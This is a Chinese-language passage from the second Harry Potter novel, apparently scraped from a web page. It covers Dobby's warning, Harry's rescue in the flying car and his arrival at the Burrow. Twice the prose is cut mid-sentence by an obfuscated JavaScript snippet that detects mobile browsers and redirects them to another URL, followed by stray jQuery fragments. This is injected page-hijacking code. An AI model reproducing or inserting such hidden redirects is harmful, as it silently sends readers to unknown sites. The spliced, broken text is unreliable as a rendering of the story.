“不,不,不,”多比尖声说,用力摇着头,把耳朵甩得啪哒啪哒直响,“哈利·波特必须待在安全的地方。他这么伟大,这么仁慈,我们不能失去他。如果哈利·波特回到霍格沃茨,他将会有生命危险。” “为什么?”哈利惊讶地问。 “有一个阴谋,哈利·波特。今年霍格沃茨会有最恐怖的事情发生。”多比压低声音说,突然浑身发抖,“多比知道这件事已经有几个月了,先生。哈利·波特不能去冒险。他太重要了,先生!” “什么恐怖的事情?”哈利马上问,“是谁在策划?” 多比滑稽地发出一声哽咽,然后疯狂地把脑袋往墙上撞。 “好了!”哈利叫起来,抓住小精灵的胳膊,不让他去撞墙。“我知道你不能说。可你为什么要来警告我呢?” 突然一个不愉快的念头在他脑海中一闪。“等等——这不会和伏——对不起——和你知道的那个神秘人有关吧?你只要摇头或点头。”他赶忙加上一句,因为多比的脑袋又令人担心地靠向了墙壁。 多比缓缓地摇了摇头。 “不是——不是那个连名字都不能提的魔头,先生。” 可是多比的眼睛瞪大了,似乎想给哈利一个暗示,但哈利一片茫然。 “他没有兄弟吧?”多比摇摇头,眼睛瞪得更大。 “那我就想不出还有谁能在霍格沃茨制造恐怖事件了。”哈利说,“我是说,第一,有邓布利多一一你知道邓布利多吧?”多比低下头。 “多比知道,阿不思·邓布利多是霍格沃茨建校以来最伟大的校长。多比听说邓布利多的法力能与那个连名字都不能提的魔头最强大的时候相匹敌。可是先生,”多比急促地小声说,“有些法术邓布利多也不...没有一个正派的巫师会...” 哈利制止不及,多比跳下床,抓起哈利的台灯往自己的脑袋上乱敲,伴着一声声凄厉的惨叫。 楼下突然一阵沉寂,两秒钟后,心脏怦怦乱跳的哈利听到弗农姨父走到门厅里,喊道:“达力准是又忘记关电视机了,这个小淘气!” “快!衣橱里!”哈利小声说。他把多比塞进衣橱,关上橱门,刚扑倒在床上,门把手就转动了。 “你——到底——在——搞——什——么——鬼?”弗农姨父咬牙切齿地说,把脸凑到哈利面前,近得可怕。“我正讲到日本高尔夫球手的笑话中最关键的地方,都被你给搅了...再发出一点儿声音,我让你后悔自己被生下来,小子!” 他重重地跺着地板走了出去。哈利哆嗦着把多比从衣橱里拉出来。“看到这里的情况了吧?知道我为什么必须回霍格沃茨了吧?我只有那个地方可去——我想我在那儿有些朋友。” “什么朋友,连信都不给哈利·波特写一封?”多比狡黠地说。 “我想他们只是——慢着,”哈利皱起眉头,“你怎么知道我的朋友没给我写信?”多比把脚在地上蹭来蹭去。 “哈利·波特不要生多比的气——多比都是为了...” “你截了我的信?” “信在多比这儿,先生。”小精灵说。他敏捷地跳到哈利抓不到的地方,从身上穿的枕套里面抽出厚厚一沓信封。 哈利认出了赫敏工整的字体、罗恩龙飞凤舞的笔迹,甚至还有一种潦草的字儿,好像是霍格沃茨的狩猎场看守海格写的。 多比焦急地眨巴着眼睛仰视着哈利。“哈利·波特不要生气…多比原本希望...如果哈利波特以为他的朋友把他忘了...哈利波特也许就不想回学校了,先生...”哈利没心思听,伸手去抢信,可多比一跳,闪开了。“哈利波特先要向多比保证不回霍格沃茨。哎呀,先生,您千万不能去冒这种险!说您不会回去,先生!” “不,”哈利生气地说,“把我朋友的信给我!” “那么多比就没有别的选择了。”小精灵悲哀地说。 哈利还没反应过来,多比已经冲到门边,拉开门,飞快地奔下搂去。 哈利嘴里发干,五脏六腑都搅在了一起。他急忙跳起来追赶,尽量不弄出声响。他一下蹦过最后六级台阶,猫一样地落在门厅地毯上,东张西望地寻找多比。他听到餐室里弗农姨父在说:“...梅森夫人,给佩妮讲讲那些美国管子工的笑话吧,她一直想听...” 哈利穿过门跑进厨房,觉得肚子里一阵发空。佩妮姨妈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338704|167802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的杰作布丁、堆得高高的奶油和撒了糖霜的堇菜,正飘浮在天花板下面。多比蹲在角落的碗橱预上。 “不要,”哈利压低嗓门说,“求求你...他们会杀了我的...” “哈利·波特必须保证不回学校——” “多比...求求你...” “保证吧,先生...” “我不能!” 多比悲哀地看了他一眼。 “那多比只能这么做了,先生,这是为哈利·波特好。” 布丁盘子当啷一声摔到地上,哈利觉得他的心跳停止了。盘子摔得粉碎,奶油溅得墙上、窗户上都是。随着一声抽鞭子似的噼啪巨响,多比不见了。餐室里发出尖叫声,弗农姨父冲进厨房,发现哈利呆若木鸡地站在那里,从头到脚溅满了佩妮姨妈的布丁。 开始,弗农姨父似乎还可以把这件事掩饰过去(“我家外甥——脑子有点儿——毛病——见到生人就紧张,所以我们让他待在楼上...”)。他把受惊的海森夫妇哄回餐室,对哈利说等客人走后非把他揍个半死,又丢给他一个拖把。佩妮姨妈从冰箱里挖出一些冰淇淋。哈利开始擦洗厨房,身上还在打着哆嗦。要不是那只猫头鹰,弗农姨父也许还能做成他的生意。 佩妮姨妈正在分发一盒餐后薄荷糖,突然一只猫头鹰旋风般从餐室窗口飞进来,把一封信丢在梅森夫人的头上,又旋风般飞走了。梅森夫人尖声怪叫,马上逃出了这所住宅,口里喊着疯子、疯子。梅森先生多站了片刻,告诉德思礼家人,他太太对各种各样、大大小小的鸟都怕得要命,并问这是不是他们故意安排的玩笑。 哈利站在厨房里,攥紧拖把支撑着自己的身体。弗农姨父朝他逼过来,小眼睛里闪着恶魔般的亮光。 “读读这个!”他挥舞着猫头鹰送来的那封信,恶毒地说,“拿去——读啊!” 哈利接过信,那里面没有生日祝词。 波特先生:我们接到报告,得知今晚九点十二分你在你的住处用了一个悬停魔咒。 你知道,未成年的巫师不许在校外使用魔法,你如再有此类行为,将有可能被本校开除(对未成年巫师加以合理约束的法令,一八七五年,第三款)。 另外请记住,根据国际巫师联合会保密法第十三款,任何可能引起非魔法界成员(麻瓜)注意的魔法活动,均属严重违法行为。 祝暑期愉快!马法尔达霍普柯克魔法部禁止滥用魔法司。 哈利抬起头,喉咙噎住了。 “你没告诉我们,你不能在校外使用魔法,”弗农姨父说,眼里闪着疯狂的光芒,“忘说了...丢到脑后了吧,我猜...” 他像一条大斗牛狗那样向哈利压下来,牙齿全露在外面。“啊,我有消息要告诉你,小子...我要把你关起来...你永远别想回那个学校...永远...如果你用魔法逃出去——他们会开除你的!” 弗农姨父说到做到,第二天就找了个人给哈利的窗户上安了铁条。他亲自在卧室门上装了一个活板门,一天三次送一点儿食物进去。他们每天早晚让哈利出来上厕所,其他时间都把他锁在屋里。 三天后,德思礼一家还丝毫没有发慈悲的迹象,哈利想不出脱身的办法。他躺在床上看太阳在窗栅后面落下,悲哀地想着自己今后的命运。 如果会被霍格沃茨开除,那用魔法逃出去又有什么意义呢?可是女贞路的生活实在是过不下去了。现在,德思礼一家知道他们不会一觉醒来变成蝙蝠了,哈利失去了唯一的武器。多比也许使哈利躲过了霍格沃茨的可怕劫难,可是照现在这样下去,他可能会饿死。 活板门一响,佩妮姨妈的手从洞口推进来一碗罐头汤。哈利早就饿得肚子疼了,赶紧跳下床捧起那只碗。汤是冰凉的,可他一口气喝下了半碗。然后他走到海德薇的笼子旁,把碗底那几根泡了水的蔬菜倒进它空空的食盘里。它竖起羽毛,充满厌恶地看了他一眼。 “别把你的鸟嘴翘得老高,我们只有这些。”哈利板着脸说。 他把空碗放回活板门旁,重新躺到床上,感觉比喝汤前更饿了。假设他四星期后还活着,却没去霍格沃茨报到,那会怎么样呢?他们会不会派人来调查他为什么没回去?他们能使德思礼一家放他走吗? 屋里黑下来了,哈利精疲力竭,饥肠辘辘,脑子里翻来覆去地转着那些没有答案的问题。他不知不觉睡着了,睡得很不安稳。 他梦见自己被放在动物园里展览,笼子上的卡片写着“小巫师”。人们隔着铁栅栏看他,他躺在稻草上,饿得奄奄一息。他在人群中看到了多比的面孔,忙喊他来救他,可多比叫道:“哈利·波特在那儿是安全的,先生!”说完就消失了。接着他又看到德思礼一家,达力摇着铁笼栏杆嘲笑他。 “住手,”哈利含糊不清地说,那嘎啦嘎啦的声音震动着他疼痛的神经,“别吵我...停下...我想睡觉...”他睁开眼,月光从窗栅间照进来,有人隔着铁栅栏瞪视着他:一个雀斑脸、红头发、长鼻子的人。 罗恩·韦斯莱正在哈利的窗户外面。 22. 陋居 罗恩!”哈利轻声叫道,蹑手蹑脚地走到窗前,把窗户推上去,这样他们好隔着铁栅栏说话。“罗恩,你怎么——这是——?” 看清眼前的景象之后,哈利张大了嘴巴。罗恩正从一辆青绿色轿车的后车窗探身看着他,轿车停在半空中,罗恩的那对双胞胎哥哥弗雷德和乔治坐在前排,朝他咧嘴笑着。 “怎么样,哈利?” “怎么回事?”罗恩说,“你为什么一直不给我回信?我邀请了你十二次,然后爸爸回来说你在麻瓜面前使用魔法,受到了警告...” “不是我——他怎么知道的?” “他在部里工作。”罗恩说,“你知道我们不能在校外使用魔法——” “你说得倒好听。”哈利盯着那辆悬空的汽车说。 “哦,这不算,”罗恩说,“我们只是借用,这是爸爸的车,我们没有对它施魔法。可是你在同你住在一起的麻瓜面前使用魔法...” “我跟你说了,我没有——可是现在没时间解释。你能不能跟学校说一声,德思礼一家把我关起来了,不让我回学校。我显然不能用魔法逃出去,因为部里会认为我三天里两次使用魔法,所以——” “别废话了,”罗恩说,“我们是来接你回家的。” “可你们也不能用魔法——” “我们不需要,”罗恩把头朝前排一摆,笑着说,“你忘了我和谁在一起了。” 弗雷德扔给哈利一截绳子,“把它系在铁栅栏上。” “要是德思礼一家人醒过来,我就没命了。”哈利说着,把绳子牢牢系在一根铁条上,弗雷德发动了汽车。 “别担心,”弗雷德说,“靠后站。” 哈利退到阴影里,靠近海德薇。它似乎也知道事关重大,在笼子里一动不动。 汽车马达声越来越响,突然嘎啦啦一声,铁栅栏被连根拔起,弗雷德开车笔直朝天上冲去——哈利跑到窗前,看见窗栅在离地面几英尺的地方晃荡着。罗恩喘着粗气把它拽进车里。哈利担心地听了听,德思礼他们的卧室里没什么动静。 窗栅被安全地放到罗恩旁边的座位上,弗雷德把车倒回来,尽可能靠近哈利的窗户。 “上车。”罗恩说。 “可我上学的东西...魔杖...飞天扫帚...” “在哪儿?” “锁在楼梯下的暗柜里,我出不了门——” “那好办,”坐在驾驶座旁边的乔治说,“闪开点儿,哈利。”弗雷德和乔治小心地从窗户爬进哈利的房间。乔治从口袋里掏出一只普通的发夹,开始撬锁。就得他们才行,哈利想。 “许多巫师认为学这种麻瓜的把戏是浪费时间,”弗雷德说,“可我们觉得这也是一门技术,虽然慢了点。” 只听咔哒一声轻响,门一下开了。 “现在——我们去拿你的箱子——你赶快捡点你要用的东西,递给罗恩。”乔治小声说。 “当心最底下一层楼梯,会响的。”哈利小声叮嘱,双胞胎消失在黑暗的楼梯口。 哈利在屋里跑来跑去,收拾了一些东西从窗口递给罗恩,然后去帮弗雷德和乔治抬箱子。哈利听到弗农姨父咳了一声。 三个人气喘吁吁,终于把箱子抬到了楼上,又一直抬到哈利房间的窗口。 弗雷德爬回车里,和罗恩一起拉,哈利和乔治在屋里推,箱子一点儿一点儿地朝窗外滑动。 弗农姨父又咳了一声。“再加把劲,”弗雷德一边拉一边喘着气说,“猛推一把...”哈利和乔治用肩膀猛力朝箱子撞去,箱子从窗口滑到汽车后座上。 “好啦,我们走吧。”乔治小声说。可是当哈利爬上窗台时,身后突然响起一声尖厉的鸣叫,紧接着是弗农姨父的咆哮。“这该死的猫头鹰!” “我忘了海德薇!”楼梯口的灯亮了,哈利迅速折回屋内,抓起海德薇的笼子,冲到窗前,把笼子交给罗恩。 他正在重新爬上五斗橱时,弗农姨父捶响了那扇没锁好的门——门开了。一时间,弗农姨父在门口呆住了,然后他像一头发怒的公牛般大吼一声,扑向哈利,抓住了他的脚腕。罗恩、弗雷德和乔治抓住哈利的胳膊使劲往外拉。 “佩妮!”弗农姨父喊道,“他要跑了!他要跑了!” 韦斯莱兄弟拼命一拽,哈利的腿挣脱了弗农姨父的手掌。哈利钻进车里,撞上车门,罗恩马上喊道:“快踩油门,弗雷德!” 汽车猛地向着月亮冲去。哈利不敢相信——他自由了。他摇下车窗,晚风拍打着他的头发,女贞路的屋顶在下面渐渐缩小,弗农姨父、佩妮姨妈和达力还在窗口呆呆地探身望着。“明年夏天见!”哈利喊道。 韦斯莱兄弟哈哈大笑,哈利靠在椅背上,乐得合不拢嘴。 “把海德薇放出来吧,”他对罗恩说,“它可以跟在我们后面飞。它好久没舒展翅膀了。” 乔治把发夹递给罗恩,一会儿后,海德薇快乐地飞出了车窗,像幽灵一样在他们旁边滑翔。 “可以告诉我们了吧,哈利?”罗恩迫不及待地说,“到底发生了什么事?” 哈利原原本本地向他们讲了多比、它给哈利的警告、被摔得一塌糊涂的堇菜布丁。 他讲完后,车里好长时间一片沉默。 “很可疑。”弗雷德终于说。 “显然非常蹊跷,”乔治附和道,“他甚至不肯告诉你是谁在策划这些?” “我想他是不能说。”哈利说,“我刚才说了,每次他快要吐露出什么时,就拿脑袋撞墙。” 他看到弗雷德和乔治对视了一下。“怎么,你们认为他是在骗我?”哈利说。 “嗯,”弗雷德说,“这样说吧——家养小精灵的魔法也很了不得,但没有主人的允许,他们一般不能使用魔法。我想多比是被人派来阻止你回霍格沃茨的,有人想捉弄你。你在学校有什么仇人吗?” “有。”哈利和罗恩马上同声说。 “德拉科·马尔福,”哈利解释说,“他恨我。” “德拉科·马尔福?”乔治转过身说,“是不是卢修斯·马尔福的儿子?” “大概是,这个姓不常见,对吧?”哈利说,“怎么啦?” “我听爸爸说起过他,”乔治说,“卢修斯·马尔福是神秘人的死党。 “神秘人消失后,”弗雷德扭头看着哈利说,“卢修斯·马尔福回来说那事儿与他无关,这是鬼话——爸爸猜他是神秘人的心腹。” 哈利听到过关于马尔福家的这些传言,所以他一点儿也不觉得惊奇。和马尔福比起来,达力简直是个忠厚懂事的男孩。“我不知道马尔福家有没有小精灵...”哈利说。“有小精灵的人家肯定是个古老的巫师家族,而且很富有。”弗雷德说。 “对,妈妈一直希望能有一个小精灵帮我们熨衣服,”乔治说,“可是我们只有阁楼上那个讨厌的食尸鬼和满花园的地精。小精灵是那种古老的大庄园和城堡里才有的,在我们家可找不到...” 哈利沉默了。德拉科·马尔福用的东西总是最高级的,他家有的是加隆。他能想象出马尔福在一所大庄园住宅里趾高气扬地走来走去,派佣人去阻止哈利回霍格沃茨也很像是马尔福干的事情。他把多比的话当真,是不是太傻了? “不管怎么说,我很高兴我们来接你。”罗恩说,“你一封信都不回,我真着急了。一开始我以为是埃罗尔出了问题——” “埃罗尔是谁?” “我们的猫头鹰。它上年纪了,以前送信时就累垮过。所以我想借赫梅斯——” “谁?” “珀西当上级长后,爸爸妈妈给他买的那只猫头鹰。”坐在前面的弗雷德说。 “可珀西不肯借给我,”罗恩说,“说他自己要用。” “珀西今年暑假非常古怪,”乔治皱着眉头说,“他发了好多信,还老一个人关在屋里...我不明白,级长的徽章要擦那么多遍吗...你向西开得太远了,弗雷德。”他指着仪表盘上的一个指南针说。弗雷德把方向盘转了转。 “那你们把车开出来,你爸爸知道吗?”其实哈利已经猜到了实情。 “哦,不知道,”罗恩说,“他今晚加班。但愿我们能悄悄把车开进车库,不让我妈妈发现。” “你爸爸在魔法部做什么工作?” “他在一个最无聊的部门,”罗恩说,“禁止滥用麻瓜物品司。” “什么?” “就是禁止对麻瓜制造的东西施用魔法,怕它们万一又回到麻瓜的商店或家里。就像去年,有个老巫婆死了,她的茶具被卖到一个古董店,一位女麻瓜买下了这套茶具,回家请朋友喝茶,真是一场噩梦——爸爸连着加了好几个星期的班。” “怎么回事?” “茶壶突然发起疯来,滚烫的茶水四处乱喷,一个男的住进了医院,夹方糖的钳子钳住了他的鼻子。爸爸忙得不可开交,司里只有他和一个叫珀金斯的老巫师。他们不得不用遗忘魔咒和各种办法来把它掩盖过去...” “可你爸爸...这车子...” 弗雷德笑了。“是啊,爸爸迷上了和麻瓜有关的一切,我们的棚里堆满了麻瓜的东西。他把它们拆开,施上魔法,再重新组装起来。如果他到我家抄查,他只好逮捕自己。妈妈为这都快急疯了。” “那是大路,”乔治透过挡风玻璃望着下面说,“我们十分钟就能到那儿...还好,天快亮了...” 东方地平线上出现了一抹淡淡的红霞。 弗雷德把车降低了一些,哈利看到一片片田地和一簇簇树木组成的深色图案。 “我们在村子外面一点儿,”乔治说,“奥特里-圣卡奇波尔...” 车子越飞越低,树丛间一轮红日已经露头了。 “着陆!”弗雷德喊道,车子轻轻一震,触到了地面。他们降落在一个破破烂烂的车库旁边,周围是个小院子。哈利第一次打量着罗恩家的房子。 它以前似乎是个石头垒的大猪圈,后来在这里那里添建了一些房间,垒到了几层楼那么高,歪歪扭扭,仿佛是靠魔法搭起来的(哈利提醒自己这很有可能)。红房顶上有四五根烟囱,屋前斜插着一个牌子,写着“陋居”。大门旁扔着一些高帮皮靴,还有一口锈迹斑斑的坩埚。几只褐色的肥鸡在院子里啄食。 “不怎么样吧。”罗恩说。 “太棒了。”哈利快乐地说,他想起了女贞路。 大家下了车。 “现在,我们悄悄地上搂,”弗雷德说,“等妈妈来叫我们吃早饭。那时罗恩连蹦带跳地跑下楼,说:‘妈妈,你看谁来了!’她看到哈利一定很高兴,谁也不会知道我们用了车。” “好的。”罗恩说,“来吧,哈利,我睡在——” 罗恩的脸一下绿了,眼睛直勾勾地盯着房子的方向。其他三个人转过身去。 韦斯莱夫人从院子那头快步走来,鸡儿四散奔逃。令人惊奇的是,她这么个胖墩墩、慈眉善目的女人,居然会那么像一头露着利齿的老虎。 “啊。”弗雷德说。 “天哪。”乔治说。 韦斯莱夫人停在他们面前,叉着腰,挨个审视着一张张愧疚的面孔。她穿着一条印花的围裙,兜里插着一根魔杖。“行啊。”她说。 “早上好,妈妈。”乔治用他显然以为是轻松可爱的语调说。 “你们知道我有多着急吗?”韦斯莱夫人用令人心惊肉跳的低沉声音说。 “对不起,妈妈,可是我们必须——”韦斯莱夫人的三个儿子都比她高,可她的怒火爆发时,他们都战战兢兢的。 “床空着!没留条子!车也没了...可能出了车祸...我都急疯了...你们想到过吗?...我这辈子从来没有...看你爸爸回来怎么收拾你们吧,比尔、查理和珀西从没出过这种事儿...” “模范珀西。”弗雷德嘟哝道。 “你该学学他的样儿!”韦斯莱夫人戳着弗雷德的胸口嚷道,“你们可能摔死,可能被人看见,可能把你爸爸的饭碗给砸了——” 好像过了几个小时,韦斯莱夫人把嗓子都喊哑了,这才转向哈利,哈利后退了两步。 “我很高兴看到你,亲爱的啥利,”她说,“进屋吃点儿早饭吧。” 她转身回屋,哈利紧张地瞄了一眼罗恩,见罗恩点头,他才跟了上去。 厨房很小,相当拥挤,中间是一张擦得干干净净的木头桌子和几把椅子。哈利坐在椅子上,只沾了一点边儿。他打量四周,以前他从没进过巫师的家。 对面墙上的挂钟只有一根针,没标数字,钟面上写着“煮茶”、“喂鸡”、“你要迟到了”之类的话。壁炉架上码着三层书:《给你的奶酪施上魔法》、《烤面包的魔法》、《变出一桌盛宴!》等——都是魔法书。哈利简直怀疑自己的耳朵欺骗了他,他听见水池旁的旧收音机里说:“接下来是‘魔法时间’,由著名的女巫歌唱家塞蒂娜·沃贝克表演。” 韦斯莱夫人在丁零当啷地做早饭。她漫不经心地把香肠扔进煎锅,不时气呼呼地瞪儿子们一眼,嘴里还嘟哝着一些话:“不知道你们是怎么想的。”“真是不敢相信。” “我不怪你,亲爱的。”她把□□根香肠倒进哈利的盘里,安慰他说,“亚瑟和我也为你担心。昨天晚上我们还说要是你再不给罗恩回信,我们就亲自去接你。可是,”(她又往他盘子里加了三只荷包蛋)“开着一辆非法的汽车飞过半个国家——谁都可能看见你们——” 她用魔杖朝水池里的碗碟随意一点,那些碗碟就自己清洗起来,叮叮当当的声音像是一种背景音乐。 “情况很不好,妈妈!”弗雷德说。 “吃饭的时候不要说话!”韦斯莱夫人厉声说。 “他们不给他饭吃,妈妈!”乔治说。 “你也闭嘴!”韦斯莱夫人说,可是她动手给哈利切面包涂黄油时,脸上的表情已稍稍温和了一些。 这时,一个穿着长睡衣的红头发小人儿跑进厨房,尖叫了一声,又跑了出去。 “金妮,”罗恩低声对哈利说,“我妹妹。她一暑假都在念叨你。” “可不,她想要你的签名呢,哈利。”弗雷德笑道,但一看到母亲的眼神,马上埋头吃饭,不再说话。几人闷声不响,不一会儿四只盘子便一扫而空。 “啊,好累呀,”弗雷德放下刀叉说,“我想我要去睡觉了——” “不行,”韦斯莱夫人无情地说,“一晚上没睡是你自找的。现在你要给我去清除花园里的地精。它们又闹得不可收拾了。” “哦,妈妈——” “还有你们两个。”她瞪着罗恩和弗雷德说。她又对哈利说:“你可以去睡觉,亲爱的,你并没有叫他们开那辆破车。” 可哈利觉得一点儿也不困,忙说:“我帮罗恩一块儿干吧,我还没见过怎么清除地精呢——” “真是个好孩子,可这是个枯燥的活儿。”韦斯莱夫人说,“现在,我们来看看洛哈特是怎么说的。” 她从壁炉架上抽出一本大厚书,乔治哼唧了一声。 “妈,我们知道怎么清除花园里的地精。” 哈利看到那本书的封面上用烫金的花体字写着:吉德罗·洛哈特教你清除家庭害虫。书名下有一幅大照片,是个长得很帅的巫师,弯曲的金发、明亮的蓝眼睛。魔法世界的照片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338705|167802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都是会动的,照片上的这个巫师(哈利猜想他就是吉德罗·洛哈特)放肆地朝他们直眨着眼睛。韦斯莱夫人笑吟吟地低头看着他。 “哦,他很了不起。”她说,“他了解他家里的害虫,这是一本好书...” “妈妈崇拜他。”弗雷德低声说,但听得很清楚。 “别瞎说,弗雷德。”韦斯莱夫人的脸红了,“好啦,你们要是觉得自己比洛哈特懂得还多,那就去干吧。不过,如果我检查时发现花园里还有一个地精,你们就等着瞧吧。” 韦斯莱兄弟打着哈欠,发着牢骚,懒洋洋地走了出去,哈利跟在后面。花园很大,而且正是哈利心目中的花园的样子。德思礼一家肯定不会喜欢——这里杂草丛生,草也需要割了——但是墙根有许多盘根错节的树木围绕着,各种哈利从没见过的植物从每个花圃里蔓生出来,还有一个绿色的大池塘,里面有好多青蛙。 “你知道,麻瓜花园里也有地精。”穿过草坪时,哈利对罗恩说。 “啊,我见过麻瓜以为是地精的那种玩艺儿,”罗恩说,一面弯下腰把头埋进牡丹丛里,“像胖乎乎的小圣诞老人,扛着鱼竿...”一阵猛烈的挣扎声,牡丹枝子乱颤,罗恩直起腰来。“这就是地精。”他板着脸说。 “放开我!放开我!”地精尖叫道。 它一点儿也不像圣诞老人。小小的身体,皮肤粗糙坚韧,光秃秃的大圆脑袋活像一颗土豆。罗恩伸长手臂举着它,因为它用长着硬茧的小脚朝他又踢又蹬。他抓住它的脚腕,把它倒提起来。 “你得这样做。”他说,把地精举过头顶(“放开我!”),开始像甩套索那样划着大圈挥动手臂。看到哈利吃惊的表情,罗恩说:“不会伤害它们的——你得把它们转晕,这样它们就找不到地精洞了。”他手一松,地精飞出去二十英尺,扑通落在树篱后面的地里。 “差劲,”弗雷德说,“我保证能扔过那个树桩。” 哈利很快就不再同情那些地精了。他本来决定把他捉到的第一个地精轻轻丢在树篱外面,可是那地精感觉到对方的软弱,便用它那锋利的牙齿狠狠咬住了哈利的手指,他抖也抖不掉,最后—— “哇,哈利――你那一下准有五十英尺...” 花园中很快就地精满天飞了。 “你瞧,它们不大机灵,”乔治说,他一把抓住了五六个地精,“它们一听说在清除地精,就都跑过来看,到现在还没学聪明一点儿。” 不久,地里那一群地精排着稀稀拉拉的队伍走开了,耸着小肩膀。 “它们会回来的,”他们看着那些地精消失在田地那头的树篱后,罗恩说,“它们喜欢这儿...爸爸对它们太宽容了,他觉得它们很有趣...” 正在这时,大门砰的一响。 “回来了!”乔治说,“爸爸回来了!” 他们急忙穿过花园回屋。 韦斯莱先生瘫在厨房的椅子上,摘掉了眼镜,两眼闭着。他是个瘦瘦的男人,有点谢顶,可他剩下的那点头发和他孩子们的一样红。他穿着一件绿色的长袍,显得风尘仆仆。 “这一晚上真够呛!”他咕哝着,伸手去摸茶壶,孩子们都在他身边坐下。“抄查了九家。蒙顿格斯·弗莱奇这老家伙想趁我转身时对我用魔法...” 韦斯莱先生喝了一大口茶,舒了口气。 “搜到了什么东西吗,爸爸?”弗雷德急切地问。 “只有几把会缩小的房门钥匙和一只会咬人的水壶。”韦斯莱先生打着哈欠说,“有一些很麻烦的东西,但不归我的部门管。在莫特莱克家发现了一些非常古怪的雪貂,他被带去问话了,可那是魔咒实验委员会的事儿,谢天谢地...” “为什么有人要做会缩小的钥匙呢?”乔治说。 “捉弄那些麻瓜,”韦斯莱先生叹息道,“卖给麻瓜一把钥匙,最后钥匙缩到没有,要用时就找不到了...当然,这很难说服任何人,因为没有一个麻瓜会承认自己的钥匙越缩越小——他们会坚持说钥匙丢了。这些麻瓜,他们永远能对魔法视而不见,哪怕它明明摆在他们面前...可被我们的人施了魔法的那些东西,你简直不能相信——” “比如汽车,对吗?” 韦斯莱夫人走了进来,手里举着一根拨火棍,像举着一把剑。韦斯莱先生张大了嘴巴,心虚地看着他的妻子。 “汽——汽车,莫丽,亲爱的?” “对,亚瑟,汽车。”韦斯莱夫人眼里冒着火,“想想看,一个巫师买了辆生锈的旧汽车,对他妻子说他只想把它拆开,看看内部的构造,可实际上他用魔法把它变成了一辆会飞的汽车。” 韦斯莱先生眨了眨眼。 “哦,亲爱的,我想你会发现他这样做并没有违法,尽管他也许应该事先把真相告诉妻子...法律中有个漏洞,你会发现...只要他不打算用它飞行,汽车会飞这一事实并不——” “亚瑟·韦斯莱,你写法律的时候故意留了一个漏洞!”韦斯莱夫人嚷道,“就为了能在你的棚子里捣鼓那些麻瓜的东西!告诉你,今天早上哈利就是坐那辆你不打算用它飞行的汽车来的!” “哈利?”韦斯莱先生茫然地说,“哪个哈利?”他环顾四周,看到了哈利,马上跳起来。“老天爷,是哈利波特吗?见到你非常高兴,罗恩对我们讲了你的那么多——” “你儿子昨晚开着那辆车,飞到哈利家把他接了过来!”韦斯莱夫人嚷道,“你有什么话说,嗯?” “真的吗?”韦斯莱先生忙问,“它飞得好吗?我——我是说,”看到韦斯莱夫人眼里射出的怒火,他连忙改口,“这是很不对的,孩子们,非常非常不对...” 韦斯莱夫人像牛蛙似的鼓起胸脯。“让他们去吵吧,”罗恩悄悄对哈利说,“来,我带你去看我的卧室。” 他们溜出厨房,穿过窄窄的过道,来到一段高低不平的搂梯前。楼梯曲折盘旋,三层的楼梯口有一扇门半开着。哈利刚瞥见一双明亮的棕色眼睛在盯着他,门就咔哒一声关上了。 “是金妮,”罗恩说,“你不知道,她这样害羞真是不可思议,她平常从来不关门的——” 他们又爬了两层,来到一扇油漆剥落的房门前,门上有块小牌子写着“罗恩的房间”。 哈利走了进去,倾斜的天花板几乎碰到了他的头。他觉得有点晃眼,好像走进了一个大火炉:罗恩房里所有的东西看上去都是一种耀眼的橙黄色:床罩、墙壁,甚至天花板。然后哈利发现,原来罗恩把破旧墙纸上的几乎每寸地方都用海报贴住了,所有的海报上都是同样的七位女巫和男巫,穿着一色鲜艳的橙黄色长袍,扛着飞天扫帚,兴高采烈地挥手。 “你的魁地奇球队?”哈利说。 “查德里火炮队,”罗恩一指橙黄色的床罩,那上面鲜艳地印着两个巨大的字母C,还有一枚疾飞的炮弹,“俱乐部中排名第九。” 罗恩的魔法课本零乱地堆在屋角,旁边是一些连环画册,好像都是《疯麻瓜马丁·米格斯历险记》。罗恩的魔杖搁在窗台上的一口大鱼缸上,缸里养了很多蛙卵。他的灰毛胖老鼠斑斑躺在鱼缸旁的一片阳光里打着呼噜。 哈利跨过地板上一副自动洗牌的纸牌,朝小窗外面望去。他看见在下面的地里,一群地精正在一个接一个地偷偷钻进韦斯莱家的树篱。然后他转过身来,发现罗恩正有点紧张地看着他,好像等着他的评价。 “小了点儿,”罗恩急急地说,“比不上你在麻瓜家的那间。我上面就是阁楼,里面住着那个食尸鬼,他老是敲管子,哼哼叽叽…” 可哈利愉快地笑了,说:“这是我见过的最好的房间。” 罗恩的耳朵红了。 23. 在丽痕书店 陋居的生活和女贞路的生活有着天壤之别。德思礼一家喜欢一切都井井有条,韦斯莱家却充满了神奇和意外。厨房壁炉架上的那面镜子就把哈利吓了一跳。他第一次照镜子时,镜子突然大叫起来:“把衬衫塞到裤腰里去,邋里邋遢!”阁楼上的食尸鬼只要觉得家里太安静了,就高声嚎叫,咣啷咣啷地敲管子。弗雷德和乔治卧室中小小的爆炸声被认为是完全正常的。 但是在哈利看来,罗恩家的生活最不寻常的地方不是会说话的镜子,也不是敲敲打打的食尸鬼,而是这里所有的人好像都很喜欢他。 